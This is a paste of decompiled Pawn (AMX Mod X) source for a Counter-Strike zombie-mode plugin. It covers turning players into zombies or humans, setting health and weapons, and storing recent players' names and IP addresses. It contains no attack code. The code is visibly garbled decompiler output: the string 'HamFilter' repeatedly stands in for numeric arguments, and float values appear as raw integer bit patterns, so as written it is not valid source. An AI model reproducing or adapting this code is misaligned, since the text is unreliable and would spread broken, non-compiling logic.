- set_frags(iAttacker, get_frags(iAttacker) + 1);
- set_deaths(iVictim, get_deaths(iVictim) + 1);
- send_score_info(iAttacker);
- send_score_info(iVictim);
- g_iPacks[iAttacker]++;
- if (g_iZombieClass[iAttacker] == 6)
- {
- set_health(iAttacker, get_health(iAttacker) + 250);
- send_screen_fade(iAttacker);
- set_glow(iAttacker, 19, 27, 255, 10, 10);
- set_task(1077516698, "TaskRemoveRender", iAttacker, 318308, "HamFilter", 318312, "HamFilter");
- set_hudmessage("HamFilter", 255, "HamFilter", -1082130432, 1036831949, 1, "HamFilter", 1071644672, 1065353216, 1065353216, -1);
- ShowSyncHudMsg(iAttacker, g_iRegenerationSync, "== HUNTER ==\n!!!Regeneration: +250 HP Gained!!!");
- }
- }
- if (!bSilent)
- {
- if (bNemesis)
- {
- g_iPlayerType[iVictim] |= 1;
- set_monster(iVictim, 1);
- set_health(iVictim, 150000);
- }
- else
- {
- if (bAssassin)
- {
- g_iPlayerType[iVictim] |= 2;
- set_monster(iVictim, 1);
- set_health(iVictim, 17500);
- }
- new var1;
- if (GetZombies() == 1 && !g_iPlayerType[iVictim])
- {
- set_health(iVictim, 10500);
- sound(iVictim, 2, g_cZombieInfectSounds[random_num("HamFilter", 4)]);
- }
- set_health(iVictim, g_iZombieHealths[g_iZombieClass[iVictim]]);
- sound(iVictim, 2, g_cZombieInfectSounds[random_num("HamFilter", 4)]);
- set_hudmessage(255, "HamFilter", "HamFilter", 1028443341, 1055286886, "HamFilter", "HamFilter", 1084227584, 1065353216, 1065353216, -1);
- if (iAttacker)
- {
- ShowSyncHudMsg("HamFilter", g_iAntidoteSync, "%s's brains have been eaten by %s...", g_cName[iVictim], g_cName[iAttacker]);
- }
- ShowSyncHudMsg("HamFilter", g_iAntidoteSync, "%s's brains have been eaten...", g_cName[iVictim]);
- }
- }
- else
- {
- set_health(iVictim, g_iZombieHealths[g_iZombieClass[iVictim]]);
- }
- if (get_team(iVictim) != 1)
- {
- g_bSwitching = true;
- set_team(iVictim, 1);
- g_bSwitching = false;
- }
- static Float:fCurrentTime;
- fCurrentTime = get_gametime();
- if (floatsub(fCurrentTime, g_fLastChangedModel) >= 1048576000)
- {
- ChangeModel(iVictim + 250);
- g_fLastChangedModel = fCurrentTime;
- }
- else
- {
- set_task(floatsub(floatadd(1048576000, g_fLastChangedModel), fCurrentTime), "ChangeModel", iVictim + 250, 318308, "HamFilter", 318312, "HamFilter");
- g_fLastChangedModel = floatadd(1048576000, g_fLastChangedModel);
- }
- if (g_iPlayerType[iVictim] & 1)
- {
- set_glow(iVictim, 19, 25, 255, "HamFilter", "HamFilter");
- }
- reset_zoom(iVictim);
- reset_armor(iVictim);
- send_screen_fade(iVictim);
- send_screen_shake(iVictim);
- send_damage(iVictim, 65536);
- send_implosion(iVictim);
- send_particle_burst(iVictim);
- send_light(iVictim);
- strip(iVictim);
- give_weapon(iVictim, "weapon_knife");
- ExecuteHamB(70, iVictim);
- g_bFlash[iVictim] = 1;
- g_bFlashEnabled[iVictim] = 1;
- remove_task(iVictim + 350, "HamFilter");
- set_task(1036831949, "TaskFlash", iVictim + 350, 318308, "HamFilter", 462336, "HamFilter");
- if (g_bVip[iVictim])
- {
- set_task(1043542835, "TaskDoScore", iVictim, 318308, "HamFilter", 318312, "HamFilter");
- set_task(1050253722, "TaskDoScore", iVictim, 318308, "HamFilter", 318312, "HamFilter");
- set_task(1061997773, "TaskDoScore", iVictim, 318308, "HamFilter", 318312, "HamFilter");
- set_task(1069547520, "TaskDoScore", iVictim, 318308, "HamFilter", 318312, "HamFilter");
- }
- return 0;
- }
- MakeHuman(iPlayer, bool:bSurvivor, bool:bSniper)
- {
- remove_task(iPlayer + 250, "HamFilter");
- remove_task(iPlayer + 200, "HamFilter");
- remove_task(iPlayer + 350, "HamFilter");
- g_bKilling[iPlayer] = 0;
- g_bNoDamage[iPlayer] = 0;
- g_bFlashEnabled[iPlayer] = 0;
- g_bFlash[iPlayer] = 0;
- g_bFrozen[iPlayer] = 0;
- g_bZombie[iPlayer] = 0;
- g_iBurningDuration[iPlayer] = 0;
- g_iPlayerType[iPlayer] = 0;
- set_zombie(iPlayer, "HamFilter");
- set_monster(iPlayer, "HamFilter");
- remove_glow(iPlayer);
- set_frozen(iPlayer, "HamFilter");
- strip(iPlayer);
- if (bSurvivor)
- {
- g_iPlayerType[iPlayer] |= 4;
- set_health(iPlayer, 3000);
- give_weapon(iPlayer, "weapon_ak47");
- give_ammo(iPlayer, 28, 9999);
- give_weapon(iPlayer, "weapon_xm1014");
- give_ammo(iPlayer, 5, 9999);
- if (!user_has_weapon(iPlayer, 4, -1))
- {
- give_weapon(iPlayer, "weapon_hegrenade");
- }
- }
- else
- {
- if (bSniper)
- {
- g_iPlayerType[iPlayer] |= 8;
- set_health(iPlayer, 2500);
- give_weapon(iPlayer, "weapon_awp");
- give_weapon(iPlayer, "weapon_knife");
- give_ammo(iPlayer, 18, 9999);
- }
- set_health(iPlayer, 150);
- give_weapon(iPlayer, "weapon_knife");
- set_task(1045220557, "TaskShowMenu", iPlayer, 318308, "HamFilter", 318312, "HamFilter");
- send_teleport(iPlayer);
- sound(iPlayer, "", "ZombieOutstanding/antidote.wav");
- set_hudmessage(10, 255, 235, 1028443341, 1055286886, 1, "HamFilter", 1084227584, 1065353216, 1065353216, -1);
- ShowSyncHudMsg("HamFilter", g_iAntidoteSync, "%s has used an antidote!", g_cName[iPlayer]);
- }
- if (get_team(iPlayer) != 2)
- {
- g_bSwitching = true;
- set_team(iPlayer, 2);
- g_bSwitching = false;
- }
- static Float:fCurrentTime;
- fCurrentTime = get_gametime();
- if (floatsub(fCurrentTime, g_fLastChangedModel) >= 1048576000)
- {
- ChangeModel(iPlayer + 250);
- g_fLastChangedModel = fCurrentTime;
- }
- else
- {
- set_task(floatsub(floatadd(1048576000, g_fLastChangedModel), fCurrentTime), "ChangeModel", iPlayer + 250, 318308, "HamFilter", 318312, "HamFilter");
- g_fLastChangedModel = floatadd(1048576000, g_fLastChangedModel);
- }
- ExecuteHamB(70, iPlayer);
- if (g_bVip[iPlayer])
- {
- set_task(1043542835, "TaskDoScore", iPlayer, 318308, "HamFilter", 318312, "HamFilter");
- set_task(1050253722, "TaskDoScore", iPlayer, 318308, "HamFilter", 318312, "HamFilter");
- set_task(1061997773, "TaskDoScore", iPlayer, 318308, "HamFilter", 318312, "HamFilter");
- set_task(1069547520, "TaskDoScore", iPlayer, 318308, "HamFilter", 318312, "HamFilter");
- }
- return 0;
- }
- InsertInfo(iPlayer)
- {
- if (0 < g_iSize)
- {
- static iLast;
- iLast = 0;
- if (g_iSize < 10)
- {
- iLast = g_iSize + -1;
- }
- else
- {
- iLast = g_iTracker + -1;
- if (0 > iLast)
- {
- iLast = g_iSize + -1;
- }
- }
- if (equal(g_cInternetProtocolAddress[iPlayer], g_cAddresses[iLast], "HamFilter"))
- {
- copy(g_cNames[iLast], 32, g_cName[iPlayer]);
- return 0;
- }
- }
- static iTarget;
- iTarget = 0;
- if (g_iSize < 10)
- {
- iTarget = g_iSize;
- g_iSize += 1;
- }
- else
- {
- iTarget = g_iTracker;
- g_iTracker += 1;
- if (g_iTracker == 10)
- {
- g_iTracker = 0;
- }
- }
- copy(g_cNames[iTarget], 32, g_cName[iPlayer]);
- copy(g_cAddresses[iTarget], 24, g_cInternetProtocolAddress[iPlayer]);
- return 0;
- }
- GetInfo(i, cName[], iNameSize, cAddress[], iAddressSize)
- {
- static iTarget;
- iTarget = i + g_iTracker % 10;
- copy(cName, iNameSize, g_cNames[iTarget]);
- copy(cAddress, iAddressSize, g_cAddresses[iTarget]);
- return 0;
- }
Add Comment
Please, Sign In to add comment